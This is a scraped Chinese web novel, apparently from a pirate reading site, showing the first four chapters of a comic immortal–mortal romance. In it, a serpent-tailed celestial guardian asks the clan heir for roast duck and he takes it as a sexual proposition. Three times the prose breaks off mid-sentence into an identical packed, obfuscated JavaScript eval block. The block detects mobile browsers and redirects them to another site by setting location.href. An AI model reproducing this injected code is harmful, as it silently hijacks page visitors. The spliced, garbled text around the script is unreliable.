《长公子为何那样[仙凡恋]》 1. 001-阿青 001 阿青趴在房梁上,看宗祠灵位前,乌泱泱祭拜的人。 一柱香前,布置的丫鬟仆役流水般换了一茬又一茬,听他们讲,是袁家的嫡长公子高中状元郎,偌大袁家特地开祠祭祖,谢列祖列宗福泽庇佑。 家大业大的豪门望族,最怕子孙游手好闲不学无术,偏偏袁家几代门楣,勤勉刻苦的后人竟无一人长歪,厚望传到了袁家这位嫡长公子袁颂身上,更是风光无两。 祭拜的袁家族长,也就是袁颂他爹,举着三炷香当着祖宗的面,来来回回在心里夸自己的儿子品貌双全,克己复礼,实乃人中龙凤。 阿青听得耳朵长茧。 在房梁上稍稍调整了个姿势,看到居中那位长身玉立,身着淡青色暗竹雅士锦袍、头戴玉冠的年轻男子。 待仔细看清那人相貌,她微微睁大眼,到底没忍住,在心里惊艳地叹了一声。 乌发雪肤,剑眉星眸,恬然气质如松针入茶,回味都好似有凛冽的清香余甘,尤其是距离左侧唇角下方一指宽的位置还长了粒浅褐色的小痣,让他整张端方如玉的脸,都不期然地生动起来。 笼在袖中的右手大食指指根,带一枚半指宽的凝脂白玉扳指,虎口处隐约可见弓箭的弓弦刮摩出的细茧。 修长指骨似匣中美玉,淡色经脉与那扳指交相呼应,细看之下,蛊惑似地诱人。 这样的贵公子,倘若哪天胆子大些去荒山竹林里挑灯夜读,都能吸引不少图他阳气的精魅。 但各人出生自有命数。 像袁颂这样家教严苛、性情沉稳古板的君子,绝不可能心血来潮立于那种危墙之下。 不仅如此,他身周隐然还有华贵之气,阿青不用掐诀占卜,也能料定他日后必能官拜宰相,运气好些,再长寿些,得个什么仙缘当个帝师都绰绰有余。 袁颂从他父亲手中接过香,恭恭敬敬地对着祖宗牌位拜了三拜。 规规矩矩的严谨模样,像古书里有板有眼、四四方方的正楷字,多一笔也到不了字框之外。 阿青经历袁家少说也有三代公卿,自然也知道这种世家里的皮囊美则美矣,但皮囊之下,多半要无趣到令人打哈欠。 繁文缛节的祝词她懒得再听。 于房梁上翻了个身,盯头顶那张被人遗漏打扫的蛛网,惆怅地叹了口气。 归根结底,袁家的列祖列宗早去阎王那里不知道都报道多少回了,哪有那个能力护袁家累世公卿? 他们真正要祭的,其实是她这个守护灵才对。 阿青想到往日遨游三界自由恣意,这时候被困在房梁上简直悲从中来。 她本是玉帝膝下承欢的小女儿,于女娲石中汲天地灵气孕育而生,本体同女娲无异,都是人形蛇尾。 幼年于天庭的蟠桃会上看了几出凡间的折子戏,动了下界的念头,结果勾栏酒肆还没进,就在馄饨铺里被无良的小道士用一顿烤鸭给骗进了袁府,禁于袁氏宗祠,以天生天养的灵气,福泽庇佑袁氏百年绵延。 所以。 烤鸭。 仙人不记凡人仇。 阿青生无可恋地看了眼袁家列祖列宗牌位前的青菜萝卜。 哎。 烤鸭。 再不记仇的仙人,也禁不住凡人拿青菜萝卜来糊弄吧?! 怎么能素到连点荤腥的影子也瞧不见呢!! 几百年前那顿没到嘴的烤鸭都快成了她的心魔。 当年骗她入府的小道士她早忘了相貌,偏偏小道士的承诺她连断句落在哪儿都记得一清二楚—— “仙子且随我来,等到了那繁华富贵乡,他们诚心诚意供奉于你,到时候你想吃什么样的鸭子没有?” “此话当真?” 小道士面孔稚嫩,头却点得煞有其事。 “千真万确。” “……” 想到过往被骗种种,阿青深吸气,安详闭眼。 我信你个鬼!! 然而好在袁颂明日就能去御前受皇帝的状元钦点,也算是她守护袁家子孙功德圆满。 所以明日午时一过,她就可以掐诀解开身上的灵契,届时即可飞升上界,重获自由。 想到自己苦熬了几百年,终于能刑满出狱,阿青心中感慨万千,然而思及那顿心心念念馋了不知道多久的片皮鸭,就连开心也一下子少了大半。 仙人下界不能滥用术法破坏凡间规则,更不能坑蒙拐骗就为了满足一己私欲。 她要是真敢胆大进酒楼吃霸王鸭,掉仙格不说,保不齐还会被凡人狠狠打一顿。 可恶。 放眼整个天庭,大概也找不出第二个比她还倒霉的神仙,兢兢业业看护了一大家子几百年,临走想吃顿鸭子都吃不上,简直血亏。 阿青越想越气,余光不由自主地落在祠堂的中心—— 相比身边其他人的寂落无光,长身玉立、知礼有节的袁颂,无论放到哪里,都是人群里的焦点。 忽地灵光一闪。 既然这一世她主要守的就是袁颂,那她临走前,问这个状元郎索要点贡品,好像也没什么不合理的,对吧? 直至明日午时以前,她跟袁家还有命契,她向自己的信徒提点小小的要求,又算得了什么呢? 就连天罚都不可能会落到她头上。 阿青想到这里,整个人眼睛都亮了,立刻精神抖擞地在房梁上盘起尾巴,闭眼掐诀。 当识海的滂沱灵力涤荡于满堂的歆飨,如潮水般不疾不徐地覆盖住忙忙碌碌祭典的仆伺和按部就班进行着仪式的家主,以及那位岿然于堂、一无所知的长公子—— 虽然懈怠百年未曾好好修行,但阿青满意地欣赏着这个仅针对袁颂一人筑就的幻境,到底还是免不了在心里自夸一句“不愧是我”。 奉香之后,就是唱经。 袁颂正安静垂手立于祠堂中央,等父亲将仪式交接,然而耳边一声绵绵软软的“公子”,让周遭有序井然的祷祝声也随之一静。 有哪房的女眷敢在这种时候出声? 事不关己,袁颂本懒于去寻找声音来处,可伴随着忽然盈满鼻息的清冷梅香一并撞向他的,还有一具柔软无骨的身体。 用“投怀送抱”四字来形容也不为过。 袁颂不知是哪家的女眷敢在这般睽睽众目中罔顾尊卑身份,本能地皱眉避退,一句“自重”尚未出口,一双极有异域感的墨色绿瞳就在顷刻间映入眼帘。 突如其来的对视让他在讶异忪怔。 记忆仿若回到弱冠那年苦读的夏夜——随风轻闪的油灯、斑驳泛黄的天罡手记,以及那一卷风姿绰约的朱唇红颜。 袁颂望着猝不及防出现的这张脸,不知是否自己日有所思终有所梦,张了张唇,却还是噤住了声,仿佛像是害怕走漏的语息将幻像吹灭。 一身淡绿罗裙的少女眉目秀致,蹙着眉咬着下唇,连微红的鼻尖都沁着薄汗,似乎站立于她而言,也是件辛苦事。 阿青简直要骂死刚刚不知道将灵力省着用的自己。 不然她也不至于因为无法用灵力化出分//身而不得不用真身亲自上门讨烤鸭。 长长的蛇尾难免吓到凡人,然而由于这百年疏于练习,青青罗裙下的人腿别说走路了,就连站直都晃晃悠悠地得找依靠。 阿青无语凝噎,但阿青身残志坚。 一想到即将到嘴的香香鸭,少女无力的双腿再次充满了力量,从走一步扭六下到走一步扭三下,怎么能说不是一种进步呢? 伸手扶住袁颂的肩,气喘吁吁的阿青正在努力站稳,防止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305719|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己发软的双腿自动往地上躺,一句“公子”还未出口,猝不及防环上腰际的手,却牢牢将她往他的怀里带。 箍在腰侧的手掌隔着薄软的衣料将炙热的掌温熨帖到她身体,一瞬不瞬盯着她的袁颂始终未置一词,却彻底将她扶稳在自己身前。 阿青:“……” 多谢多谢。 就是扶得有点太紧了,可以适当松松力。 袁氏长公子看来是个眼里有活的,很懂得在关键的时刻搭把手,阿青本想表扬他几句,但她一想到自己的来意,顿时又故意垮下脸来。 小时候于父皇身边承欢时,阿青耳濡目染,也知道这种时候必须恩威并施才能达成自己的目的。 “公子,今日贵府祭祖这般隆重,为何只拿出这些上不了台面的吃食款待先祖?” 肉呢? 我就请问了—— 肉!呢! 凡人吃素,求一个虚空清净、得道升仙。 但她既已位列仙班,吃肉自然也是她刻苦修行应得的奖励! 所以,她要吃肉! 她!要!吃!肉! 然而,到底这几百年还是习惯了蛇尾,讲一句她的下//半//身就忍不住扭,无骨的身体从他左肩绕至右肩,阿青尽量让自己的语气恶狠狠地凶。 “公子想必是不晓得这些年,是谁勤勤恳恳守着贵府平安,奴劳心劳力这么久,总是得给顿肉的吧?” 威胁的说辞都是照以往看的话本里学的。 阿青一边超凶地龇牙咧嘴,一边在心里痛骂学人为何这样烦。 要这样低声下气讨一顿烤鸭,简直有损她帝姬的脸面。 然而隔着衣料,他抱得紧,她贴得近,亲密无间的身体连彼此的热吸息都交错在了一起。 却不知是不是她的错觉,此刻哑巴了的袁颂玉冠涤带下的耳廓微微泛红,可他眸中不可思议之色却铺天盖地,如暗流涌动的潮。 阿青:??? 不会是吓傻了吧??? 阿青也没想到,自己第一次做这种威逼利诱的事情,就能有这种成效。 清清嗓,正决定再给袁颂下个猛料。 “当然,如若公子不给奴一顿香香的鸭子,奴万一馋起嘴来,指不定一口将整个袁家大宅里所有的活人都生吞入腹。” 所以,你别再一眨不眨地看着我了,你倒是说句话啊袁颂!! 就在阿青在心中痛骂平日能言善辩就连清谈都不落人下风的袁颂怎么在这种时候做哑巴,忽地就见他喉结微咽。 “子不语怪力乱神,是以……” 阿青:“……” 我就知道这又是个念书念傻的无趣之人!! 这几百年在袁家,阿青没少听那些迂腐的嫡庶公子背四书五经,这时候忽然听对方又开始念“之乎者也”,简直气得蛇尾都要冒出来了。 子不语怪力乱神。 所以,你就是不信我咯? 咬牙切齿的阿青深吸一口气,正打算给这个冥顽不灵的信徒来个超凶超凶的下马威,然而等来的,却是对方一句满足的喟叹。 “……我从未奢望能得偿所愿。” 温润如玉的声线,好似暖玉生烟,飘渺不着迹,却能撩动心弦怦然作响。 宗祠的红木雕门大敞,清风徐徐,春城飞花。 堂外灼灼桃树也似在他疏朗的眉眼里遽然盛放,飞舞的桃色流光映于袁颂琥珀色的淡瞳里。 阿青怔怔地看着映于他眼中的自己,怔怔地听着周遭寂静里,自己于俯仰天地间的一呼一吸和漏掉的那一拍心跳。 粉白的桃花瓣好似落定的尘埃般缀于他青色的锦袍肩处。 如拂雪落白梅,如折竹碎晨珠,胜过她游历凡间,见过的任何一片花海。 2. 002-烤鸭 002 袁颂的眼睛像一汪水,是一条干净到清澈见底的河,古井般静然无波的水面倒映出阿青微微撑圆到有些迷茫的眼睛。 坦白说,阿青的确被袁颂的反应给搞懵了—— 这也太不按常理出牌了!! 不明白他到底是被自己突然的现身给吓得语无伦次,还是自己化形不到位,幻境也捏了个虎头蛇尾,以身入局只她一人,从头到脚都是她馋片皮鸭太久的幻觉? 四目相对半响,阿青干巴巴地张了张唇,终于找回自己的声音,不确定地反问:“所以呢?” 先前吓唬他,纯粹是虚张声势。 总不能真因为吃不到烤鸭,就把整个袁府吞进肚子里吧? 她可是仙,又不是吃人的妖。 肉体凡胎盛五谷轮回、七情六欲,于神仙而言是污秽,吃多了毁修行不说,还要挨天雷,代价这么大,谁要吃这些酸不拉几的人肉? 但一想到三百多年前那只只在酒楼后厨惊鸿一瞥的、用蜂蜜刷好的、用上等的果木烤制的脆皮鸭—— 阿青委屈,但阿青不好意思说。 神仙做到她这份上,也算是前无古人后无来者的差劲和憋屈。 她盯着脚下祠堂砖隔的缝隙,精神状态肉眼可见地萎靡。 回过神的袁颂余光扫过祠堂里按部就班、丝毫没有发现异样的众人,敛眸沉吟片刻,也知这大概是什么仙术构筑的幻象。 就是不知他此刻是庄周,还是梦里那只蝴蝶。 “仙子是嫌府上供奉不合口味?” 阿青原本对自己的口腹之欲已不抱什么希望,闻言,“嚯”地一下抬起头,墨绿色的蛇瞳都亮晶晶的。 好嘛,总算是上道了。 袁颂看来是个能听得进道理的。 果然跟他小时候一样聪明有眼力,不枉她这些年在他身上费的那些心思。 阿青借着他扶在腰上的力道软绵绵地靠在他胸口,姿态于旁人看来是弱柳扶风的不正经,偏她毫无知觉,端得脸上一派泰然正气:“这还用说?” 当着袁颂的面,她开始对着贡桌上的青菜萝卜指点江山,不是嫌萝卜切得太大,就是嫌青菜炒得太老,一看就让人毫无食欲,路过的狗都不吃。 一顿由上京城豪华酒楼主厨掌厨的斋菜被她批得一文不值,连带负责掌管府中祭祀布置的管家,也被平白无故按了一个玩忽职守的罪名。 怀里的少女越说越激动,少不得要更借力依在他胸前。 离得太近,又贴得太紧。 身前无骨的身体似乎也软得有些过分。 乌黑的鬓发里散着一股很淡的、冬末残雪里的梅香,细碎的发丝像柔云一样擦过他唇角。 四肢五感的触觉远比那些缥缈无踪的潮热云梦还要真实。 袁颂一低眸,阿青说的什么他早已听不清,视线里只有她一张一阖的唇,红樱桃一样小,饱满的唇珠上,有淡粉色的水光。 不知提到了什么,她不开心,微微皱起眉,抿起唇小小地撅了一下,原本平整光滑的唇纹立刻被很生动地挤起来。 袁颂盯着她近在咫尺的嘴唇愣了一会儿神,半响终于克制地移开了冒犯的目光,低着头去找她刚刚泄气时踢过的那条砖缝。 “我说这些,不是要让你替你家自惭形秽的意思,只是告诉你,识时务者为俊杰,小小供奉我一顿合心意的,就可以保你袁家上上下下几十口人命,这笔买卖再划算不过了。” 阿青苦口婆心地说完,很耐心地等了一会儿,却见对方一直红着耳朵别着脸不看她,像很不把她当回事一样。 敢情她说了这么久都是在对牛弹琴! 阿青差点没气晕。 “袁颂,你倒是说句话呀。” 愠怒的拳头锤在他胸口,不像是在提醒质问,倒更像是在撒娇。 兰香徐徐拂耳过,沧海变迁桑田转瞬,怀中少女的容貌与那副三百年前的泛黄画像毫无二致。 凡人踌躇一世,于神仙而言,也不过是蜉蝣朝生暮死。 人生苦短,四书五经里的圣人圣言是锦绣堆里的黑灰,克己复礼的道德制守是时间长河里不值一提的余烬。 袁颂的目光在短暂的黯淡后,忽地明亮而艳炽起来,像火光般深深地望进阿青的眼睛,紧了紧环在她腰上的手,面上赤忱得仿若赌咒:“仙子有何要求,尽管开口,刀山火海,青珩在所不辞。” 阿青被他一瞬不瞬的目光看得心里发毛,覆在腰上的掌中温度隔着羽衣都能烧得她喉咙哑渴。 向凡人低声下气讨吃食怎么说都很丢神仙的脸,但她馋了几百年,也管不了这么多了,只能老老实实在他面前揣手手:“倒也不用这么夸张,我也不是个贪心的,不是说了嘛,毕竟看护了你们这一大家子这么多年,我就,就想吃顿鸭子。” “只要……鸭子?” “对。” 阿青试探着去观察他反应:“我只想吃鸭子。” 蜂蜜片皮烤鸭最好,笋干老鸭煲次之,再不济,来一碗燥肉汁浇头的烧鸭饭,也成。 总之,吃完这一顿鸭鸭!她就—— 立刻!飞升!回家! 见袁颂若有所思,阿青又少不了狠狠贬低一番袁家这些年来祭祖的安排。 之所以颠来倒去同他说这些话,原因无他,纯粹是这几百年来,她太久没跟人说过话,眼见出狱在望,自然行为举止也比往常更放肆些。 但冠冕堂皇的神仙架子她还是摆得有模有样。 “唉,其实我也单单不只是为我自己,要知道你们袁家的列祖列宗天天在打牌九时跟我抱怨说这些年族中子弟在祭祀一事中越发敷衍……欸,你在笑什么?” 袁颂故作惊异:“是吗?可袁氏的族规明明说了上天有好生之德,长辈临终前几番留书万般告诫祭祀切不可铺张浪费。” 阿青脸色一下子变了:“……?” 什么族规,我怎么不知道??? 等等!! 这种伤天害理的族规到底是哪个老古董在跟她唱反调啊!害她不明不白吃了这么多年的素!! 袁颂怕把她逗恼,敛下唇角弧度,却把笑意写进眼睛里:“不妨事,等我日后做了族长,便替仙子废了这种规矩。” 阿青气得直哼哼:“以后的事情以后再说,我哪那么倒霉,还得等到你做族长的那日才能随心所欲?” 袁颂目光微黯,欲言又止。 阿青用余光睨他:“你今天是不是想赖账?” 袁颂:“没有没有。” 阿青放下心来,继续振振有词地替自己挽尊:“我好歹也是天庭说得出名号的神仙,下界素了几百年,竟也要沦落到遵守你们袁氏族规的地步?真是可笑!我又不是你们袁家的人!哼,我就不信你们袁家的祖宗死了这些年,不跟我一样馋一顿色香味俱佳、鲜嫩多汁的……你刚刚是不是又笑了?” 袁颂无辜道:“岂敢岂敢。” 阿青抿着唇想从他脸上找一点他不敬神的蛛丝马迹,可环在她腰上的手却紧紧缠着她,像是生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305720|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕她跑了似的,勒得她喘不过气。 她皱起眉,伸手按了按那寸箍在腰间的掌背,不开心了:“你这是作甚?” 袁颂力道稍松,望向她的目光却十足温柔:“仙子果真同书上写得一模一样。” 袁颂说话时的语气太过诚挚,坦荡虔诚的目光也毫无一丝冒昧和亵渎,阿青姑且原谅他先前的大不敬,只是对方话外透露的信息还是让她警觉:“书?什么书?” 袁颂:“民间一些书肆中不起眼的杂谈罢了。” 阿青:“可我下界的时候,没往人多的地方跑过呀。” 她以前胆子小,下凡的时候都挑无人的荒山野岭打兔子。 好不容易胆子大了一回,结果烤山鸡的时候不小心就烧坏了人家一座道馆,道馆里的祖师爷气不过,就派了坏道士把她关在袁府里将功抵过。 犯错了认罚是天经地义,她倒是认这个理,但别是这该死的道士留了什么她的把柄给袁家人,好拿捏她生生世世做牛做马。 袁颂面不改色:“那大概是我记错了吧。” 阿青:“哦?那书中是怎么写的,你复述我听听。” 对方显然也不想跟她结束话题,就有板有眼地跟她讲故事。 阿青听了个开头,就知道这绝不是自己,便也不再费神纠结,只再三跟他确认今晚上门送鸭的时间。 三更夜。 祠堂正殿。 叩门三次为约定的暗号,她可大胆现身。 心心念念的吃食有了着落,阿青心中雀跃,情绪松快不少:“不见不散?” 袁颂点头:“只早不晚。” 阿青目光灼灼地伸出手:“一言既出。” 袁颂笑着跟她击掌:“驷马难追。” 落掌时,他很自然地将手指弯进她的指缝里,握紧了便不松开。 袁颂的掌心干燥,温度比她的高,熨帖着她的皮肤,掌腹练箭磨出的茧子像羽毛一样轻轻刮着她,带起一阵微弱的痒意。 阿青盯着两人相扣的十指,很不解地眨了一下眼睛。 袁颂垂着眼帘看着她侧脸,耐心地静等她再开口。 却不料,忽然闻见那股清冷的梅香由淡转浓,怀里的温度却在愈演愈烈的香气里毫无预兆地消散。 耳边的安静像猛地被人打碎了般,突地灌入僧人敲木鱼诵经的“南无阿弥陀佛”和木樨燃烧的“哔啵”声响。 他下意识想去找阿青,可一抬头,父亲正好递香过来。 “青珩,来告慰先祖在天有灵,保你日后在朝中做出一番事业,受百姓敬仰、于青史留名。” 鸦雀无声的正厅里。 列祖列宗的牌位高高低低被摆在祠堂的正中央,分列在两侧的袁氏宗族众人皆恭敬垂手,队伍领头的年长者落在他身上的目光是老牛舐犊般的殷殷期盼,而站在末尾的总角稚子又都是一副艳羡崇敬之意。 尊卑等级森严的世族祠堂,安静得仿若前一刻那场旖旎的肌肤相亲,也不过是他做的一个不真实的梦。 袁在望看着自己一动不动的儿子,皱着眉微微压了声音近他耳畔,低声责备:“怎地失魂落魄?这种场合走神,成何体统!” 袁颂只觉得骤然意兴阑珊,沉默间,忽然感觉到指尖的异样—— 于左手宽大袖袍中悄无声息缠上他手指的淡青色丝带像一截无处抵赖的信物。 当着父亲的面,袁颂垂着眼帘将那一段散发着清雅梅香的软带藏于袖中,接过递来的细檀香,不着痕迹地牵了一下唇角。 3. 003-色授魂与 003 漏夜二更,阿青趴在房梁上,眼睛直勾勾地盯着中门,等得心焦火烧,等得秋水望穿。 竖着耳朵,怕三更天的鸡叫比袁颂先一步抵达祠堂。 如果不是被道士施了法术,没办法离开这个祠堂方圆十米,她都忍不住要去东厢他的寝室里找人,好好质问袁颂为何明明答应了却又突然爽约。 不是说了只早不晚? 失望跟期待两种情绪交织起伏。 阿青掰着指头数时辰。 全神贯注时反而五感敏锐。 窗外夜风送来残荷淡香,中间夹着一丝清冽的翠竹冷香。 闻到这股熟悉的气息,阿青的眼睛都兴奋地亮成了竖瞳。 月上中天。 来人颀长的影子被月光投于雕花的中门前,岿然身段,于清风里清晰可见峨冠博带、长衫广袖的轮廓,潇洒恣仪、端方礼正。 阿青看得眼睛发直,从房梁上掉下来,急得摔了一跤。 等不及他叩门的暗号,捂着脚趾一拐一跳去开祠堂门。 桃花似絮迷人眼。 灼灼芳华后,是袁颂那张在月色下几乎让人移不开眼的脸,及唇下那粒浅痣。 他像是刚刚沐浴完,身上还留有清透凉薄的水汽。 阿青下意识去盯他左手,空的。 再盯他右手,还是空的。 阿青:“……?” 我那么大个鸭子呢??? 袁颂没料到她开门开得这么急,叩门的指节微曲在半空,滞了少顷,欲语还休的眼帘低垂,在无奈地低叹了一口气之后,突然伸手便去解衣带,宽衣的动作多少带了点舍生取义的决绝扼腕、被逼下海的放任自流,就连说话的声音,都带着点衷情不得已的哀怨:“今夜之后,还望仙子放过袁某家人。” 阿青:??? 瞪大眼的阿青脸上像打翻了胭脂铺。 她这时候就算再不经世事,也晓得袁颂是要做什么。 自荐枕席这种事,养尊处优的长公子显然做得不太熟练,以至于他解衣的时候,抽绸带的手指,都在打结。 搞得她要是出言打断,都像在伤他自尊心。 偏偏初秋的穿堂风在一刻也能识人意。 拂面而过的夜风,像一只灵巧的手,拂开袁颂左侧肩头松松垮垮的衣襟,不偏不倚露出一对诱人的锁骨、一抹白皙却不失力量感的胸膛,若隐若现的美意像顶级画匠笔下的写意山水。 阿青:“……?” 袁颂眼帘微垂,轻叹一声“失礼”,本能地伸手将松开的衣襟往上拉了拉,提到一半,想起什么,又把肩头的衣服往下扯了扯。 这下扯掉的可不仅仅是寝衣的外袍,连里衣的衣襟都松了——先前的半遮半掩已经大大方方成了愿君采撷。 皎白的月光落在他纤薄却轮廓分明的肌肉上,呼吸起伏间,能看见那块紧实的腹肌平整地延展于绸制的寝衣之下。 作为被世家重点培养的嫡长公子,君子六艺是必修课,她当然知道袁颂只是看着文质彬彬,精于骑射的贵公子,在日常的锦袍华服下有这样无暇的身段,也是理所应当。 也说不清到底是哪里出了岔子。 明明她说了想吃片皮鸭,怎么,怎么还能这样? “更深露重,我们不如早些休息?” 休息? 如何休息? “在下愚钝,但今夜前来,也专程于书内略学一二。” 书? 什么书? “请仙子切莫嫌弃在下。” 嫌弃? 怎么嫌弃? 堂堂嫡长公子! 为何突然要这样!! 像是终于注意到了她脸上的不解迷茫,袁颂再开口时,语气却又困惑又无辜:“难道不是仙子想吃鸭子?” “……” “那些精怪志异的小说里,不都是这么写的?” “否则为何要约我三更见面?” “……” 袁颂眨着眼睛,似怨似无奈:“精魅贪图男子精元,深夜邀人赴约……青珩尚未娶妻,也未曾有过侍妾,自认是听得懂仙子暗示的。” 搞明白误会的前因后果。 阿青如遭雷击,想到小道士当年的承诺—— “仙子且随我来,等到了那繁华富贵乡,他们诚心诚意供奉于你,到时候你想吃什么样的鸭子没有?” 阿青:“……” “苍天在上”这四个字,她一个神仙喊不出来,到底是怕被父皇听到她下界给人骗的事情。 但是! 但是! 我,我可没说过我想吃的是这种鸭啊!! 阿青没想到自己一顿正经鸭子能被理解得这么不正经。 一时之间被冤枉得哑口无言。 但毕竟,要求是她提的,时间是她约的。 桌上的鸭子跟床上的鸭子,也是她没说清的。 吃桌上的鸭子是为了满足口腹之欲。 但这床上的鸭子—— 好吧,的确也是提升修为的。 今天在祠堂现身弄得这一出,她已经明白以自己目前的修为明日午时铁定是回不了家了,还不如利用命契在袁家多苟一阵,养精蓄锐才是正道。 袁颂几乎是她看着长大的,受四书五经、道德春秋熏陶的嫡长公子,这样清心寡欲的童子身当然是大补中的大补。 道家双修有阴阳炉鼎。 佛家双修则叫欢喜禅。 靠男子元阳提升修为,也算不上是邪门歪道。 坦白说,这样的鸭子她以前是没吃过,好奇心驱使,也的确可以一试。 然而阿青到底还是个有底线的神仙,做不出逼良为娼的事情,她张了张唇,正打算劝对方回去。 夜色里的袁颂似乎天生一双含情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305721|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,扇形的桃花眼颤着长睫意有所图地扫过来的时候,阿青咬着下唇,一句“我要吃的不是你这种鸭”滚到嘴边差点脱口变成“花前月下不如你宽衣留下”。 倒是袁颂有些不好意思地移开目光,低下头,出神般看祠堂门前的月光,等半天不见她给个正面的说法,忽地转了副悻悻的口吻:“看来真的是在下会错了仙子的意思。” “……” “竟让仙子看见袁某如此鄙陋不堪的样貌,”袁颂边说边叹着气把松松垮垮的衣袍往回系,劲瘦有力的薄肌轮廓完美得即使最上等的玉匠也雕不出,却在顷刻间便随着他手里的动作被重新虚掩入绸衣之下。 阿青有些遗憾地收回目光,忍不住说出了一句话大实话:“你不要妄自菲薄。” 却也不知是不是她的错觉,月光落在袁颂不着痕迹弯起的唇角,那抹淡如茶袅的笑意便如蝶翼消散不见。 “青珩这也不叫妄自菲薄,而是有自知之明。” 袁颂面露愁绪:“像我们这样的凡夫俗子,想必费尽心思,也难比天上光风霁月的仙人,仙子看不上我等中人之姿,也是再正常不过。” 如果袁颂这样都叫中人之姿,那她以前上天入地见的那些都配不上“庸脂俗粉”这四个字。 阿青想了想,干脆老老实实地说:“那倒未必。” 袁颂一句赌气似的“我不信”话音刚落,已有柔软的唇轻轻碰了上来。 骤然安静下来的庭院里,连月光落在桃花上,都有细碎轻柔的声音。 许是阿青的呼吸声。 又许是他漏掉半拍的心跳。 轻轻碰上来的嘴唇一触即离,快得仿若一阵拂面的风。 不真实得像在做梦。 袁颂怔怔地垂眸看她懵懂,张唇半响,却想不起刚才那一吻落下来时自己到底是何样心绪,是难以置信的意外,亦或者得偿所愿的欢欣。 只知道她身上很香,嘴唇也很软,带着点入夜的凉意。 所有的感知都俗套得像市井书坊里那些不入流的话本。 阿青也不知是受他艳若桃李的曈色驱使,还是什么别的,一时间鬼迷心窍,等反应过来的时候,已经用实际行动告诉他,长成他这样的“中人之姿”也实在是惊世骇俗的了不起——毕竟,勾引她一个定力不足的神仙,绰绰有余。 轻薄了人的登徒子有做登徒子的基本道德。 “我没见过第二个比你更好看的人了。” 月色下,男子目光如春日桃花,身上雅致的雪后竹香悄无声息地笼罩住她。 阿青着了蛊似地伸出手,将手指点在他唇边那粒痣上,袁颂轻轻握住她的手腕,顺着她纤弱微凉的腕骨,慢慢贴唇吻上去,流转的眼神一瞬不瞬锁着她的目光,于着迷的沉湎里微微浮上笑意,鼓励她继续往下说。 “如果凡夫俗子各个都能生得你这副皮囊,那九重天之上,我都找不出几个绝色。” 4. 004-道与佛 004 阿青不明白,袁颂好歹也是她看着长大的,出生的时候也不见什么狐狸精投胎的异兆。 明明白天还是好好的,怎么到了夜里,一言一行皆勾得她色令智昏? 简直匪夷所思! 总不至于是她修为退化至此,连凡人皮相这一关都过不去? 那她不更该借这个机会,好好修行一番? 古井深潭里的眼眸被不带任何弯弯绕绕的三言两语吹起波澜,像翻涌的浪潮,顷刻间淹没他的理智。 阿青正考虑得出神,忽被人捧起脸。 待要再开口时,唇已被人吻住。 起初是克制的吻。 不疾不徐啄吻她的唇瓣,也不深入,待她后知后觉回过神,慢慢试着回吻他时,他却躲开。 追逐的亲吻像一场你来我往的游戏。 唯有彼此搅弄出的水声,成为静谧的深夜里,一道前所未有的欢愉乐响。 阿青竟隐约从他唇齿间尝到比蟠桃会的琼浆玉液更细腻的甜意。 温润湿滑的舌尖吮吻过她的唇角,温热的缠绵便从她的唇畔滚到了耳垂。 她被吻得发痒,本能地抬起一侧肩膀缩瑟了一下颈子,不知不觉袁颂已将她抵在祠堂的立柱前。 男人系好的衣裳经不起厮摩,松散开的衣襟很快就再次露出那一抹堪比美玉的胸肌。 贴得太近,阿青只觉得他的体温烫得吓人。 握在她腰上的手越抱越紧,比白天锁她腰时要更紧。 略带薄茧的掌心隔着仙羽衣熨帖她皮肤,似是要将她整个人扣入怀中。 袁颂的牙齿轻轻咬过她锁骨。 就在阿青以为他要继续往下吻的时候,滚烫而潮热的亲吻又克制地顺着她纤长的颈项,不疾不徐地吻回她的唇。 男人含着她的下唇也像是在尝一块吮不腻的饴糖,搅弄出的水声更是听的人心猿意马。 阿青也不晓得那些书里是怎么教的袁颂,教得他这样会亲,想着改日或许可以借来一阅。 毕竟,下回再是碰到这样一个绝色,也不至于被对方亲得这样四肢发热、晕头转向、丢盔卸甲。 走神到一半,下唇却忽地被不轻不重咬了一口。 阿青还来不及呼痛,下一瞬,她就被人托着腰抱上了祠堂的贡桌。 也不知是两人动静太大,还是老祖宗看不下去。 第一排的灵位齐刷刷倒了大半。 猝不及防的动静打断升温的旖旎,平白无故里还带着一丝诡谲。 两人停得不约而同。 袁颂皱起眉,目光扫向翻到的排位。 纵使情//欲当头,但凡人多少还是敬点鬼神的。 